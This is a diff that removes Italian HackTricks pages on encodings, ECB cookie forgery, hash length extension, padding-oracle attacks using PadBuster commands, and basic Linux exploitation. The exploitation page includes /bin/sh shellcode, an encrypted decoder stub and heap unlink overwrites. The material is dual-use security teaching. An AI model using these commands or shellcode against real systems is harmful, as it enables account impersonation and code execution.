- **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_]
- `ayRiIo1gpO+uUc7g`
- **ESAB46** \[]
- `3sHcL2NR8WrT7mhR`
- **MEGAN45** \[]
- `kLD8igSXm2KZlwrX`
- **TIGO3FX** \[]
- `7AP9mIzdmltYmIP9mWXX`
- **TRIPO5** \[]
- `UE9vSbnBW6psVzxB`
- **FERON74** \[]
- `PbGkNudxCzaKBm0x`
- **GILA7** \[]
- `D+nkv8C1qIKMErY1`
- **Citrix CTX1** \[]
- `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK`
[http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
### HackerizeXS \[_╫Λ↻├☰┏_]
```
╫☐↑Λ↻Λ┏Λ↻☐↑Λ
```
- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Morto: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
### Morse
```
.... --- .-.. -.-. .- .-. .- -.-. --- .-.. .-
```
- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Morto: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
### UUencoder
```
begin 644 webutils_pl
M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(
M3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/
F3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$$`
`
end
```
- [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu)
### XXEncoder
```
begin 644 webutils_pl
hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236
5Hol-G2xAEE++
end
```
- [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx)
### YEncoder
```
=ybegin line=128 size=28 name=webutils_pl
ryvkryvkryvkryvkryvkryvkryvk
=yend size=28 crc32=35834c86
```
- [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc)
### BinHex
```
(This file must be converted with BinHex 4.0)
:#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p
-38K26%'d9J!!:
```
- [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex)
### ASCII85
```
<~85DoF85DoF85DoF85DoF85DoF85DoF~>
```
- [http://www.webutils.pl/index.php?idx=ascii85](http://www.webutils.pl/index.php?idx=ascii85)
### Tastiera Dvorak
```
drnajapajrna
```
- [https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en&page=dvorakKeyboard)
### A1Z26
Lettere al loro valore numerico
```
8 15 12 1 3 1 18 1 3 15 12 1
```
### Affine Cipher Encode
Lettera a numero `(ax+b)%26` (_a_ e _b_ sono le chiavi e _x_ è la lettera) e il risultato di nuovo in lettera
```
krodfdudfrod
```
### SMS Code
**Multitap** [sostituisce una lettera](https://www.dcode.fr/word-letter-change) con cifre ripetute definite dal corrispondente codice del tasto su una [tastiera del telefono](https://www.dcode.fr/phone-keypad-cipher) (Questo modo è usato quando si scrivono SMS).\
Ad esempio: 2=A, 22=B, 222=C, 3=D...\
Puoi identificare questo codice perché vedrai** diversi numeri ripetuti**.
Puoi decodificare questo codice in: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
### Bacon Code
Sostituisci ogni lettera con 4 A o B (o 1 e 0)
```
00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000
AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
```
### Runes
![](../images/runes.jpg)
## Compression
**Raw Deflate** e **Raw Inflate** (puoi trovarli entrambi in Cyberchef) possono comprimere e decomprimere dati senza intestazioni.
## Easy Crypto
### XOR - Autosolver
- [https://wiremask.eu/tools/xor-cracker/](https://wiremask.eu/tools/xor-cracker/)
### Bifid
È necessaria una parola chiave.
```
fgaargaamnlunesuneoa
```
### Vigenere
È necessaria una parola chiave
```
wodsyoidrods
```
- [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver)
- [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher)
- [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx)
## Crypto Forte
### Fernet
2 stringhe base64 (token e chiave)
```
Token:
gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q==
Key:
-s6eI5hyNh8liH7Gq0urPC-vzPgNnxauKvRO4g03oYI=
```
- [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode)
### Condivisione Segreta di Samir
Un segreto è suddiviso in X parti e per recuperarlo hai bisogno di Y parti (_Y <=X_).
```
8019f8fa5879aa3e07858d08308dc1a8b45
80223035713295bddf0b0bd1b10a5340b89
803bc8cf294b3f83d88e86d9818792e80cd
```
[http://christian.gen.co/secrets/](http://christian.gen.co/secrets/)
### Brute-force OpenSSL
- [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl)
- [https://github.com/carlospolop/easy_BFopensslCTF](https://github.com/carlospolop/easy_BFopensslCTF)
## Strumenti
- [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool)
- [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom)
- [https://github.com/nccgroup/featherduster](https://github.com/nccgroup/featherduster)
{{#include ../banners/hacktricks-training.md}}

68
src/cryptography/electronic-code-book-ecb.md
View File

@ -1,68 +0,0 @@
{{#include ../banners/hacktricks-training.md}}
# ECB
(ECB) Electronic Code Book - schema di crittografia simmetrica che **sostituisce ogni blocco del testo in chiaro** con il **blocco di testo cifrato**. È il **schema di crittografia più semplice**. L'idea principale è di **dividere** il testo in chiaro in **blocchi di N bit** (dipende dalla dimensione del blocco di dati in input, algoritmo di crittografia) e poi crittografare (decrittografare) ogni blocco di testo in chiaro utilizzando l'unica chiave.
![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/ECB_decryption.svg/601px-ECB_decryption.svg.png)
L'uso di ECB ha molteplici implicazioni di sicurezza:
- **I blocchi del messaggio crittografato possono essere rimossi**
- **I blocchi del messaggio crittografato possono essere spostati**
# Rilevamento della vulnerabilità
Immagina di accedere a un'applicazione più volte e di **ricevere sempre lo stesso cookie**. Questo perché il cookie dell'applicazione è **`<username>|<password>`**.\
Poi, generi due nuovi utenti, entrambi con la **stessa lunga password** e **quasi** lo **stesso** **username**.\
Scopri che i **blocchi di 8B** dove le **info di entrambi gli utenti** sono le stesse sono **uguali**. Poi, immagini che questo potrebbe essere dovuto al fatto che **si sta utilizzando ECB**.
Come nel seguente esempio. Osserva come questi **2 cookie decodificati** hanno più volte il blocco **`\x23U\xE45K\xCB\x21\xC8`**.
```
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
```
Questo è perché il **nome utente e la password di quei cookie contenevano diverse volte la lettera "a"** (per esempio). I **blocchi** che sono **diversi** sono blocchi che contenevano **almeno 1 carattere diverso** (forse il delimitatore "|" o qualche differenza necessaria nel nome utente).
Ora, l'attaccante deve solo scoprire se il formato è `<username><delimiter><password>` o `<password><delimiter><username>`. Per farlo, può semplicemente **generare diversi nomi utente** con **nomi utente e password simili e lunghi fino a trovare il formato e la lunghezza del delimitatore:**
| Lunghezza nome utente: | Lunghezza password: | Lunghezza Nome Utente+Password: | Lunghezza cookie (dopo decodifica): |
| ---------------------- | ------------------- | ------------------------------- | ----------------------------------- |
| 2 | 2 | 4 | 8 |
| 3 | 3 | 6 | 8 |
| 3 | 4 | 7 | 8 |
| 4 | 4 | 8 | 16 |
| 7 | 7 | 14 | 16 |
# Sfruttamento della vulnerabilità
## Rimozione di interi blocchi
Conoscendo il formato del cookie (`<username>|<password>`), per impersonare il nome utente `admin`, crea un nuovo utente chiamato `aaaaaaaaadmin` e ottieni il cookie e decodificalo:
```
\x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
```
Possiamo vedere il modello `\x23U\xE45K\xCB\x21\xC8` creato in precedenza con il nome utente che conteneva solo `a`.\
Poi, puoi rimuovere il primo blocco di 8B e otterrai un cookie valido per il nome utente `admin`:
```
\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
```
## Spostare blocchi
In molti database è lo stesso cercare `WHERE username='admin';` o `WHERE username='admin ';` _(Nota gli spazi extra)_
Quindi, un altro modo per impersonare l'utente `admin` sarebbe:
- Generare un nome utente che: `len(<username>) + len(<delimiter) % len(block)`. Con una dimensione del blocco di `8B` puoi generare un nome utente chiamato: `username `, con il delimitatore `|` il chunk `<username><delimiter>` genererà 2 blocchi di 8Bs.
- Poi, generare una password che riempirà un numero esatto di blocchi contenenti il nome utente che vogliamo impersonare e spazi, come: `admin `
Il cookie di questo utente sarà composto da 3 blocchi: i primi 2 sono i blocchi del nome utente + delimitatore e il terzo è della password (che sta fingendo il nome utente): `username |admin `
**Poi, basta sostituire il primo blocco con l'ultimo e si impersonerà l'utente `admin`: `admin |username`**
## Riferimenti
- [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)](<http://cryptowiki.net/index.php?title=Electronic_Code_Book_(ECB)>)
{{#include ../banners/hacktricks-training.md}}

38
src/cryptography/hash-length-extension-attack.md
View File

@ -1,38 +0,0 @@
{{#include ../banners/hacktricks-training.md}}
# Riepilogo dell'attacco
Immagina un server che **firma** alcuni **dati** **aggiungendo** un **segreto** a dei dati di testo chiaro noti e poi hashando quei dati. Se conosci:
- **La lunghezza del segreto** (questo può anche essere forzato a bruteforce da un dato intervallo di lunghezza)
- **I dati di testo chiaro**
- **L'algoritmo (e è vulnerabile a questo attacco)**
- **Il padding è noto**
- Di solito viene utilizzato uno predefinito, quindi se gli altri 3 requisiti sono soddisfatti, anche questo lo è
- Il padding varia a seconda della lunghezza del segreto + dati, ecco perché è necessaria la lunghezza del segreto
Allora, è possibile per un **attaccante** **aggiungere** **dati** e **generare** una **firma** valida per i **dati precedenti + dati aggiunti**.
## Come?
Fondamentalmente, gli algoritmi vulnerabili generano gli hash prima **hashando un blocco di dati**, e poi, **dallo** **hash** **precedentemente** creato (stato), **aggiungono il prossimo blocco di dati** e **lo hashano**.
Poi, immagina che il segreto sia "secret" e i dati siano "data", l'MD5 di "secretdata" è 6036708eba0d11f6ef52ad44e8b74d5b.\
Se un attaccante vuole aggiungere la stringa "append" può:
- Generare un MD5 di 64 "A"
- Cambiare lo stato dell'hash precedentemente inizializzato a 6036708eba0d11f6ef52ad44e8b74d5b
- Aggiungere la stringa "append"
- Completare l'hash e l'hash risultante sarà un **valido per "secret" + "data" + "padding" + "append"**
## **Strumento**
{{#ref}}
https://github.com/iagox86/hash_extender
{{#endref}}
## Riferimenti
Puoi trovare questo attacco ben spiegato in [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
{{#include ../banners/hacktricks-training.md}}

102
src/cryptography/padding-oracle-priv.md
View File

@ -1,102 +0,0 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
# CBC - Cipher Block Chaining
In modalità CBC, il **blocco crittografato precedente viene utilizzato come IV** per XORare con il blocco successivo:
![https://defuse.ca/images/cbc_encryption.png](https://defuse.ca/images/cbc_encryption.png)
Per decrittografare CBC, vengono eseguite le **operazioni** **opposte**:
![https://defuse.ca/images/cbc_decryption.png](https://defuse.ca/images/cbc_decryption.png)
Nota come sia necessario utilizzare una **chiave** di **crittografia** e un **IV**.
# Messaggio Padding
Poiché la crittografia viene eseguita in **blocchi** di **dimensione** **fissa**, è solitamente necessario un **padding** nell'**ultimo** **blocco** per completarne la lunghezza.\
Di solito si utilizza **PKCS7**, che genera un padding **ripetendo** il **numero** di **byte** **necessari** per **completare** il blocco. Ad esempio, se l'ultimo blocco manca di 3 byte, il padding sarà `\x03\x03\x03`.
Esaminiamo più esempi con **2 blocchi di lunghezza 8byte**:
| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 |
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | 6 | **0x02** | **0x02** |
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | **0x03** | **0x03** | **0x03** |
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
Nota come nell'ultimo esempio l'**ultimo blocco era pieno, quindi ne è stato generato un altro solo con padding**.
# Padding Oracle
Quando un'applicazione decrittografa dati crittografati, prima decrittografa i dati; poi rimuove il padding. Durante la pulizia del padding, se un **padding non valido attiva un comportamento rilevabile**, hai una **vulnerabilità di padding oracle**. Il comportamento rilevabile può essere un **errore**, una **mancanza di risultati** o una **risposta più lenta**.
Se rilevi questo comportamento, puoi **decrittografare i dati crittografati** e persino **crittografare qualsiasi testo in chiaro**.
## Come sfruttare
Potresti utilizzare [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) per sfruttare questo tipo di vulnerabilità o semplicemente fare
```
sudo apt-get install padbuster
```
Per testare se il cookie di un sito è vulnerabile, potresti provare:
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA=="
```
**Encoding 0** significa che **base64** è utilizzato (ma sono disponibili altri, controlla il menu di aiuto).
Potresti anche **sfruttare questa vulnerabilità per crittografare nuovi dati. Ad esempio, immagina che il contenuto del cookie sia "**_**user=MyUsername**_**", quindi potresti cambiarlo in "\_user=administrator\_" e ottenere privilegi elevati all'interno dell'applicazione. Potresti anche farlo usando `paduster` specificando il parametro -plaintext**:
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
```
Se il sito è vulnerabile, `padbuster` proverà automaticamente a trovare quando si verifica l'errore di padding, ma puoi anche indicare il messaggio di errore utilizzando il parametro **-error**.
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
```
## La teoria
In **sintesi**, puoi iniziare a decrittare i dati crittografati indovinando i valori corretti che possono essere utilizzati per creare tutti i **diversi padding**. Poi, l'attacco padding oracle inizierà a decrittare i byte dalla fine all'inizio indovinando quale sarà il valore corretto che **crea un padding di 1, 2, 3, ecc**.
![](<../images/image (629) (1) (1).png>)
Immagina di avere del testo crittografato che occupa **2 blocchi** formati dai byte da **E0 a E15**.\
Per **decrittare** l'**ultimo** **blocco** (**E8** a **E15**), l'intero blocco passa attraverso la "decrittazione del blocco" generando i **byte intermedi I0 a I15**.\
Infine, ogni byte intermedio è **XORato** con i byte crittografati precedenti (E0 a E7). Quindi:
- `C15 = D(E15) ^ E7 = I15 ^ E7`
- `C14 = I14 ^ E6`
- `C13 = I13 ^ E5`
- `C12 = I12 ^ E4`
- ...
Ora, è possibile **modificare `E7` fino a quando `C15` è `0x01`**, che sarà anche un padding corretto. Quindi, in questo caso: `\x01 = I15 ^ E'7`
Quindi, trovando E'7, è **possibile calcolare I15**: `I15 = 0x01 ^ E'7`
Il che ci permette di **calcolare C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
Sapendo **C15**, ora è possibile **calcolare C14**, ma questa volta forzando il padding `\x02\x02`.
Questo BF è complesso quanto il precedente poiché è possibile calcolare il `E''15` il cui valore è 0x02: `E''7 = \x02 ^ I15` quindi è solo necessario trovare il **`E'14`** che genera un **`C14` uguale a `0x02`**.\
Poi, segui gli stessi passaggi per decrittare C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
**Segui questa catena fino a decrittare l'intero testo crittografato.**
## Rilevamento della vulnerabilità
Registrati e accedi con questo account.\
Se **accedi molte volte** e ricevi sempre lo **stesso cookie**, probabilmente c'è **qualcosa** **sbagliato** nell'applicazione. Il **cookie restituito dovrebbe essere unico** ogni volta che accedi. Se il cookie è **sempre** lo **stesso**, probabilmente sarà sempre valido e non **ci sarà modo di invalidarlo**.
Ora, se provi a **modificare** il **cookie**, puoi vedere che ricevi un **errore** dall'applicazione.\
Ma se forzi il padding (usando padbuster per esempio) riesci a ottenere un altro cookie valido per un utente diverso. Questo scenario è altamente probabile che sia vulnerabile a padbuster.
## Riferimenti
- [https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation)
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{{#include ../banners/hacktricks-training.md}}

15
src/cryptography/rc4-encrypt-and-decrypt.md
View File

@ -1,15 +0,0 @@
{{#include ../banners/hacktricks-training.md}}
Se riesci in qualche modo a crittografare un testo in chiaro utilizzando RC4, puoi decrittografare qualsiasi contenuto crittografato da quel RC4 (utilizzando la stessa password) semplicemente usando la funzione di crittografia.
Se puoi crittografare un testo in chiaro noto, puoi anche estrarre la password. Maggiori riferimenti possono essere trovati nella macchina HTB Kryptos:
{{#ref}}
https://0xrick.github.io/hack-the-box/kryptos/
{{#endref}}
{{#ref}}
https://0xrick.github.io/hack-the-box/kryptos/
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

9
src/emails-vulns.md
View File

@ -1,9 +0,0 @@
# Vulnerabilità delle Email
{{#include ./banners/hacktricks-training.md}}
##
##
{{#include ./banners/hacktricks-training.md}}

542
src/exploiting/linux-exploiting-basic-esp/README.md
View File

@ -1,542 +0,0 @@
# Linux Exploiting (Basic) (SPA)
{{#include ../../banners/hacktricks-training.md}}
## **2.SHELLCODE**
Ver interrompimenti del kernel: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “\_\_NR\_”
setreuid(0,0); // \_\_NR_setreuid 70\
execve(“/bin/sh”, args\[], NULL); // \_\_NR_execve 11\
exit(0); // \_\_NR_exit 1
xor eax, eax ; puliamo eax\
xor ebx, ebx ; ebx = 0 poiché non ci sono argomenti da passare\
mov al, 0x01 ; eax = 1 —> \_\_NR_exit 1\
int 0x80 ; Esegui syscall
**nasm -f elf assembly.asm** —> Ci restituisce un .o\
**ld assembly.o -o shellcodeout** —> Ci dà un eseguibile formato dal codice assembly e possiamo estrarre gli opcodes con **objdump**\
**objdump -d -Mintel ./shellcodeout** —> Per vedere che effettivamente è la nostra shellcode e estrarre gli OpCodes
**Controllare che la shellcode funzioni**
```
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1">​</span>
```
Per vedere che le chiamate di sistema vengono eseguite correttamente, è necessario compilare il programma precedente e le chiamate di sistema devono apparire in **strace ./PROGRAMA_COMPILADO**.
Quando si creano shellcode, si può fare un trucco. La prima istruzione è un jump a un call. Il call chiama il codice originale e inoltre inserisce nello stack l'EIP. Dopo l'istruzione call abbiamo inserito la stringa di cui avevamo bisogno, quindi con quell'EIP possiamo puntare alla stringa e continuare a eseguire il codice.
EJ **TRUCCO (/bin/sh)**:
```
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
xorl %eax, %eax ; eax = NULL
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
movl $0xb, %eax ; Syscall 11
movl %esi, %ebx ; arg1=“/bin/sh”
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
leal 0xc(%esi), %edx ; arg3 = NULL
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl %ebx, %ebx ; ebx = NULL
movl %ebx, %eax
inc %eax ; Syscall 1
int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1">​</span>
```
**EJ usando el Stack(/bin/sh):**
```
section .text
global _start
_start:
xor eax, eax ;Limpieza
mov al, 0x46 ; Syscall 70
xor ebx, ebx ; arg1 = 0
xor ecx, ecx ; arg2 = 0
int 0x80 ; setreuid(0,0)
xor eax, eax ; eax = 0
push eax ; “\0”
push dword 0x68732f2f ; “//sh”
push dword 0x6e69622f; “/bin”
mov ebx, esp ; arg1 = “/bin//sh\0”
push eax ; Null -> args[1]
push ebx ; “/bin/sh\0” -> args[0]
mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
```
**EJ FNSTENV:**
```
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
…
```
**Egg Huter:**
Consiste in un piccolo codice che attraversa le pagine di memoria associate a un processo in cerca della shellcode lì memorizzata (cerca qualche firma presente nella shellcode). Utile nei casi in cui si ha solo un piccolo spazio per iniettare codice.
**Shellcodes polimorfici**
Consistono in shell cifrate che hanno un piccolo codice che le decripta e salta a esse, usando il trucco di Call-Pop questo sarebbe un **esempio cifrato cesar**:
```
global _start
_start:
jmp short magic
init:
pop esi
xor ecx, ecx
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub cl, 1
jnz desc
jmp short sc
magic:
call init
sc:
;Aquí va el shellcode
```
## **5.Metodi complementari**
**Tecnica di Murat**
In linux tutti i programmi si mappano iniziando da 0xbfffffff
Vedendo come si costruisce lo stack di un nuovo processo in linux si può sviluppare un exploit in modo che il programma venga avviato in un ambiente la cui unica variabile sia la shellcode. L'indirizzo di questa può quindi essere calcolato come: addr = 0xbfffffff - 4 - strlen(NOME_ejecutable_completo) - strlen(shellcode)
In questo modo si otterrebbe in modo semplice l'indirizzo dove si trova la variabile di ambiente con la shellcode.
Questo è possibile grazie al fatto che la funzione execle permette di creare un ambiente che abbia solo le variabili di ambiente desiderate.
##
###
###
###
###
### **Format Strings to Buffer Overflows**
Il **sprintf moves** una stringa formattata **a** una **variabile.** Pertanto, si potrebbe abusare del **formato** di una stringa per causare un **buffer overflow nella variabile** dove il contenuto viene copiato.\
Ad esempio, il payload `%.44xAAAA` scriverà **44B+"AAAA" nella variabile**, il che potrebbe causare un buffer overflow.
### **\_\_atexit Structures**
> [!CAUTION]
> Oggi è molto **strano sfruttare questo**.
**`atexit()`** è una funzione a cui **altre funzioni vengono passate come parametri.** Queste **funzioni** verranno **eseguite** quando si esegue un **`exit()`** o il **return** del **main**.\
Se puoi **modificare** l'**indirizzo** di una di queste **funzioni** per puntare a una shellcode, ad esempio, otterrai **il controllo** del **processo**, ma attualmente questo è più complicato.\
Attualmente gli **indirizzi delle funzioni** da eseguire sono **nascosti** dietro diverse strutture e infine l'indirizzo a cui puntano non è l'indirizzo delle funzioni, ma è **crittografato con XOR** e spostamenti con una **chiave casuale**. Quindi attualmente questo vettore di attacco non è **molto utile almeno su x86** e **x64_86**.\
La **funzione di crittografia** è **`PTR_MANGLE`**. **Altre architetture** come m68k, mips32, mips64, aarch64, arm, hppa... **non implementano la funzione di crittografia** perché **restituisce lo stesso** di quanto ricevuto come input. Quindi queste architetture sarebbero attaccabili tramite questo vettore.
### **setjmp() & longjmp()**
> [!CAUTION]
> Oggi è molto **strano sfruttare questo**.
**`Setjmp()`** consente di **salvare** il **contesto** (i registri)\
**`longjmp()`** consente di **ripristinare** il **contesto**.\
I **registri salvati** sono: `EBX, ESI, EDI, ESP, EIP, EBP`\
Quello che succede è che EIP ed ESP vengono passati dalla funzione **`PTR_MANGLE`**, quindi le **architetture vulnerabili a questo attacco sono le stesse di sopra**.\
Sono utili per il recupero degli errori o per le interruzioni.\
Tuttavia, da quello che ho letto, gli altri registri non sono protetti, **quindi se c'è un `call ebx`, `call esi` o `call edi`** all'interno della funzione chiamata, il controllo può essere preso. Oppure si potrebbe anche modificare EBP per modificare ESP.
**VTable e VPTR in C++**
Ogni classe ha una **Vtable** che è un array di **puntatori a metodi**.
Ogni oggetto di una **classe** ha un **VPtr** che è un **puntatore** all'array della sua classe. Il VPtr è parte dell'intestazione di ogni oggetto, quindi se si ottiene un **overwrite** del **VPtr** potrebbe essere **modificato** per **puntare** a un metodo fittizio in modo che l'esecuzione di una funzione vada alla shellcode.
## **Misure preventive e evasioni**
###
**Sostituzione di Libsafe**
Si attiva con: LD_PRELOAD=/lib/libsafe.so.2\
o\
“/lib/libsave.so.2” > /etc/ld.so.preload
Si intercettano le chiamate ad alcune funzioni insicure con altre sicure. Non è standardizzato. (solo per x86, non per compilazioni con -fomit-frame-pointer, non compilazioni statiche, non tutte le funzioni vulnerabili diventano sicure e LD_PRELOAD non funziona in binari con suid).
**ASCII Armored Address Space**
Consiste nel caricare le librerie condivise da 0x00000000 a 0x00ffffff in modo che ci sia sempre un byte 0x00. Tuttavia, questo in realtà non ferma quasi nessun attacco, e meno in little endian.
**ret2plt**
Consiste nel realizzare un ROP in modo che venga chiamata la funzione strcpy@plt (dalla plt) e si punti all'entrata della GOT e si copi il primo byte della funzione che si desidera chiamare (system()). Subito dopo si fa lo stesso puntando a GOT+1 e si copia il 2º byte di system()… Alla fine si chiama l'indirizzo memorizzato in GOT che sarà system()
**Gabbie con chroot()**
debootstrap -arch=i386 hardy /home/user —> Installa un sistema di base sotto un sottodirectory specifico
Un admin può uscire da una di queste gabbie facendo: mkdir foo; chroot foo; cd ..
**Strumentazione del codice**
Valgrind —> Cerca errori\
Memcheck\
RAD (Return Address Defender)\
Insure++
## **8 Heap Overflows: Exploits di base**
**Blocco assegnato**
prev_size |\
size | —Intestazione\
\*mem | Dati
**Blocco libero**
prev_size |\
size |\
\*fd | Ptr blocco successivo\
\*bk | Ptr blocco precedente —Intestazione\
\*mem | Dati
I blocchi liberi sono in una lista doppiamente collegata (bin) e non possono mai esserci due blocchi liberi insieme (si uniscono)
In “size” ci sono bit per indicare: Se il blocco precedente è in uso, se il blocco è stato assegnato tramite mmap() e se il blocco appartiene all'arena primaria.
Se liberando un blocco uno dei contigui si trova libero, questi si fondono tramite la macro unlink() e si passa il nuovo blocco più grande a frontlink() per farlo inserire nel bin adeguato.
unlink(){\
BK = P->bk; —> Il BK del nuovo chunk è quello che aveva il chunk già libero prima\
FD = P->fd; —> Il FD del nuovo chunk è quello che aveva il chunk già libero prima\
FD->bk = BK; —> Il BK del chunk successivo punta al nuovo chunk\
BK->fd = FD; —> Il FD del chunk precedente punta al nuovo chunk\
}
Pertanto, se riusciamo a modificare il P->bk con l'indirizzo di una shellcode e il P->fd con l'indirizzo a un'entrata nella GOT o DTORS meno 12 si ottiene:
BK = P->bk = \&shellcode\
FD = P->fd = &\_\_dtor_end\_\_ - 12\
FD->bk = BK -> \*((&\_\_dtor_end\_\_ - 12) + 12) = \&shellcode
E così si esegue al termine del programma la shellcode.
Inoltre, la 4º istruzione di unlink() scrive qualcosa e la shellcode deve essere riparata per questo:
BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor_end\_\_ - 12) —> Questo provoca la scrittura di 4 byte a partire dall'8º byte della shellcode, quindi la prima istruzione della shellcode deve essere un jmp per saltare questo e cadere in alcuni nops che portano al resto della shellcode.
Pertanto, l'exploit si crea:
